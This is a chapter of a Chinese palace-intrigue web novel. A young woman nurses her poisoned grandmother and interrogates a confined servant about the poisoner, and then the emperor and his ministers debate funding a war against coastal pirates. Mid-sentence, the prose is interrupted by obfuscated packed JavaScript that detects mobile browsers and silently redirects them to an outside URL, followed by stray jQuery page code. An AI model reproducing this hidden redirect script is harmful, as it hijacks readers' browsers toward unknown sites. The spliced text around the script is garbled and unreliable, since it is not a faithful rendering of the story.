59. 第 59 章
作品:《卫家有女无双》 卫老夫人缓缓睁开了眼睛,入目便是一脸担忧的卫无双,“双双。”
“诶,祖母,”卫无双听见卫老夫人嗓子沙哑又侧眸道:“春桃,倒杯水来。”
“母亲!你可算醒了,可把儿媳担心坏了!”柳氏扯着嗓子哭喊着快速跑来趴在床边。
卫无双看着柳氏如此夸张作态心中难掩嫌弃,“祖母刚醒,母亲若是想哭,不若去外头哭完了再进来?”
柳氏的哭声顿了下来,用手绢擦拭着眼下泪水,又握住卫老夫人苍老的手,“母亲,您瞧我,太担心倒是失了些分寸。”
卫无双接过春桃递来的温水,用床边的勺子将水一点一点喂进卫老夫人口中。
有了温水润了润嗓子,卫老夫人瞬时觉着嗓子舒服了许多。
看着卫无双温声细语地照顾自己,与柳氏的大声哭喊大相径庭,卫老夫人忽然觉着似乎是自己此前看错了人。
“姑娘,郑大夫来了。”一侍女领着郑琪骏匆忙赶来,卫无双赶忙站起身来。
待郑琪骏把完脉后,卫无双上前一步小声问道:“郑大夫,我祖母现下如何?”
“卫娘子放心,卫老夫人已渡过难关,体内的残毒慢慢清除即可。昨日的药继续喝着,不出五日便可恢复。”
卫无双松下口气,连连道谢,“多谢郑大夫。”接过春桃递来的荷包,卫无双将其递给郑琪骏。
“多谢郑大夫救我祖母一命。”
郑琪骏却只淡然地笑笑,婉拒那荷包,“卫娘子是郡主好友,这荷包我是万万不能收的。”
卫无双强硬地将荷包塞到郑琪骏手中,“郑大夫就收下吧,这两日麻烦您跑来跑去的了,就当我请您吃个茶。”
郑琪骏看着落在自己手中的荷包轻笑一声,“行,多谢卫娘子。”郑琪骏虽然这般说着,但心里却在想着如何将这荷包送还给郡主。
“既如此,那在下便先行离开了。”
“春桃,去送送郑大夫。”
郑琪骏走后,卫无双坐在卫老夫人床边,接过侍女递来刚熬好的药汤。
“祖母,先将药喝了再睡会儿吧。”
柳氏瞧着自己格格不入的模样一脸尴尬,见两人无人理睬自己轻咳一声,“母亲,我先去差人告诉夫君您醒了。”
卫老夫人点点头,“去吧,但叫谦则莫要着急,凡事以公务为先,既然郎中都说我没事了,那就待下职了再回即可。”
“是,母亲。”
柳氏走后,卫无双服侍着卫老夫人将一碗汤药饮尽,又招来一小侍女将碗取走。
卫老夫人环视屋内一圈,没有看见苏嬷嬷,“双双,苏嬷嬷呢?”
“苏嬷嬷管事不利,没能及时发现您生病,险些耽误治疗时间,孙女罚她去外间做事了,这两日就让春桃在您跟前伺候着。”
卫无双神色淡然地收拾着刚擦过汤药的巾帕,看不出任何破绽,卫老夫人便相信了卫无双所言。
只不过卫老夫人却有些感慨,“苏嬷嬷在我跟前伺候了我几十年,如今我老了,她也年纪大了,惩罚惩罚得了,早日将她唤回来吧。”
“孙女清楚,只不过若此次放过苏嬷嬷,今后这卫府可没人再会将规矩看得那样重,您说是吧,祖母。”
卫无双浅笑着将巾帕递给春桃,又起身扶着卫老夫人躺下,“祖母先休息会儿,一会儿我让人将饭菜端来。”
“春桃,你就在祖母跟前,有事唤我。”
卫无双没有给卫老夫人再次要苏嬷嬷的机会将她扶着躺下便离开了屋内。
躺在床上的卫老夫人透过帷幔,看着立在床边春桃的身影心中升起一股异样的感觉,她开始有些害怕。
怕卫无双知道了那个秘密。
卫无双推开锁着苏嬷嬷的房门,苏嬷嬷被强光刺着晃了晃眼,看见卫无双的那刻拼命地喊叫着,但是嘴里塞了布条她也只能发出几声呜呜声。
卫无双顿在苏嬷嬷面前,一把扯出她嘴里的布条。
“姑娘饶命,姑娘饶命,老奴真的不知道怎么回事。”苏嬷嬷不断朝卫无双磕头祈求她放了自己。
卫无双人畜无害地勾唇浅笑,“苏嬷嬷,昨日我已经和你说的清清楚楚了,祖母的饭菜里被下了毒,只有那厨子和你能经手,厨子跑了,你说不是你,那总得给我说说为什么不是你吧。”
苏嬷嬷发间沁出滴滴冷汗,眼睛慌乱地瞟着周围,尽力思考着那日的场面。
卫无双悠闲自得地坐在一旁太师椅上品着手中热茶,丝毫没有烦躁的神色。
“我知道了!”苏嬷嬷焦急地跪在地上蠕动到卫无双脚边,“姑娘我知道了。”
卫无双放下茶盏,微微俯身,垂眸看着脚边苏嬷嬷,“说。”
“那日,老奴去厨房吩咐煮碗银耳汤时看见了一个不是康安堂的奴仆,那人同安大厨在说些什么。”
苏嬷嬷越说越来劲,情绪激动,身体也微微颤抖,“对,现在回想起来,那人看着十分可疑,我进去的时候她还快速避开我走了。”
“那人男的女的?长什么模样?”卫无双听着苏嬷嬷的话越发警觉。
“她是女的,”苏嬷嬷努力回想着那日仅仅一瞥眼留下的模样,忽然想起什么,眸光一闪,“她额头上有颗特别大的黑痣!”
卫无双脑中闪过一道惊雷,呼吸停滞片刻。
黑痣?
卫无双觉得十分熟悉,回想了一会儿,卫无双忽然想起一个画面。
那是在书倚庭院门前,一个奴仆慌慌张张地跑来,不慎和刚出门的她撞上。
那奴仆垂头跪在地上,由于自己心中也十分焦急,是已卫无双并未在意她的异样,只微微掠过一眼,便让她离开。
现在想来,那奴仆肩头的颤抖愈发明显,额间黑痣旁似还有滴落的汗珠。
汗珠反射的阳光越发刺眼,卫无双猛然回过神来。
“苏嬷嬷,祖母那总得有人服侍……”卫无双语速缓慢。
苏嬷嬷听见此言腾地升起了一丝希望,又慌忙跪着朝卫无双靠近两步,谄媚道:“姑娘说的是。”
卫无双眨眨眼,“所以我便将春桃留在了祖母房中,苏嬷嬷还是在我这再休息几日吧。”
说完卫无双比那将那布条塞回苏嬷嬷口中,苏嬷嬷挣扎着,但却不敌自幼习武的卫无双。
“苏嬷嬷,你就安安心心地呆在这,虽然在这条件差了些,但总能保你一命的。”
苏嬷嬷被吓得倏地安静了下来,一脸惊恐地看着卫无双。
卫无双凑近苏嬷嬷耳边,低语,“你觉得,那下毒的人,若是知道祖母没死,会怎么做?”
卫无双拍拍苏嬷嬷肩膀,“如果你想死,跑了,那我也保不住你。”卫无双耸耸肩,转头极其潇洒地离开房间。
苏嬷嬷被吓得蛄蛹着身子朝一旁爬去,躲在一根大柱子后面。
*
今日下朝后,姜骅朗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177203|158755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被崇仁帝留在御书房,同样留下的还有常相、靖国公、户部尚书梁薛、兵部尚书齐惟良与吏部尚书柳如书。
姜骅朗立在侧面,而常相等人则是立在御书房中间。
崇仁帝姗姗而来坐在书桌后方,止住了欲向他行礼的众人,“今日留诸位爱卿,是朕欲向诸位爱卿请教一二。”
“诸位爱卿,今晨扬州大都督急报就送到朕面前,诸位爱卿自己瞧瞧。”崇仁帝将手中奏折递给桌旁的杜荣海。
杜荣海恭敬地将手中奏折递给姜骅朗,姜骅朗仔细看完奏折便清楚今日崇仁帝为何留下他们几人。
待众人一一查看后,杜荣海又将奏折呈上放在崇仁帝手边。
崇仁帝垂眸拿过奏折,摊开放在眼前,“诸位爱卿觉着,此事该如何处理?”
众人皆是一阵沉默,崇仁帝缓缓抬眼,扫过众人,又将眼神落在立在最边上的柳如书。
“柳尚书,你觉着朕该如何做?”
崇仁帝语气淡淡,但柳如书清楚知道今日崇仁帝为何会留下自己,也知道为何会偏偏点自己名字。
柳如书恭敬地朝前跨出一步行礼,“陛下,东海海口猖獗,致使沿海一带民不聊生,自是应当出兵平乱,还百姓一片清明。”
“嗯。”崇仁帝点点头,“齐尚书呢?”
“陛下,海口之乱已有数年,我大齐出兵不断却未有一次能除尽海寇,若此次陛下能增加兵力粮草,我等定能一举捣毁海寇老巢,彻底除掉海寇之乱。”
“可是这出兵平乱,需有粮草银钱相助,梁尚书,你来说说,如今这户部的钱财可够我大齐出兵?”
梁尚书瑟缩着身子摇摇头,“回陛下,此前海寇作乱时乃是扬州大都督自行筹粮,已是足够,但今年天气异常,若要此事出兵,怕是须得户部出粮,但……”
“朕明白了,”崇仁帝微微附身,脑袋朝前探了几分,“你的意思是户部的钱不够。”
“是,今年接连给南北两方守在郡县拨粮拨钱,北方苏特尔又蠢蠢欲动,户部实在是没有多余的钱粮够支撑两方战事。”梁薛脑袋越垂越低。
“哎呀,那这可怎么办。”崇仁帝也似是愁闷地摇摇头,有些惋惜,“可我扬州百姓还在水生火热之中,难道要置他们于不顾了吗?”
姜骅朗在一旁静静地看着这出好戏,他知道今日崇仁帝的目的是什么,无非是意图提高赋役,从百姓口中抠出军粮来。
御书房内似乎空气凝滞,众人皆是不语,既因不知说什么,也因害怕。
“陛下,”柳如书挺直了年迈的背脊站上前来,倏地跪了下去,“陛下,沿海一带虽是被海寇骚扰已久,但此种局面尚能维持几年。”
“若此时强加赋役才是真的会将沿海一带民众推向万劫不复之地,届时沿海一带海寇侵扰、沿海民众生活苦不堪言,北边苏特尔仍在虎视眈眈,此时出兵平寇并非是最好时机啊,陛下。”
柳如书说完便又直直跪了下去,重重行了一礼,“陛下三思啊!”
崇仁帝微微眯着眼睛俯视跪在地上的柳如书,而他身后无一人在此刻站出来附议。
“父皇,扬州海寇猖獗,但杨都督能数次退海寇千里,今年天灾频繁,着实是没有人力物力再去支撑一场战事了。”
姜骅朗终是忍不住打破沉默侧身走到众人跟前,朝崇仁帝附身行礼。
崇仁帝眼神冰冷地扫向立在下方的姜骅朗,眉目间不怒自威。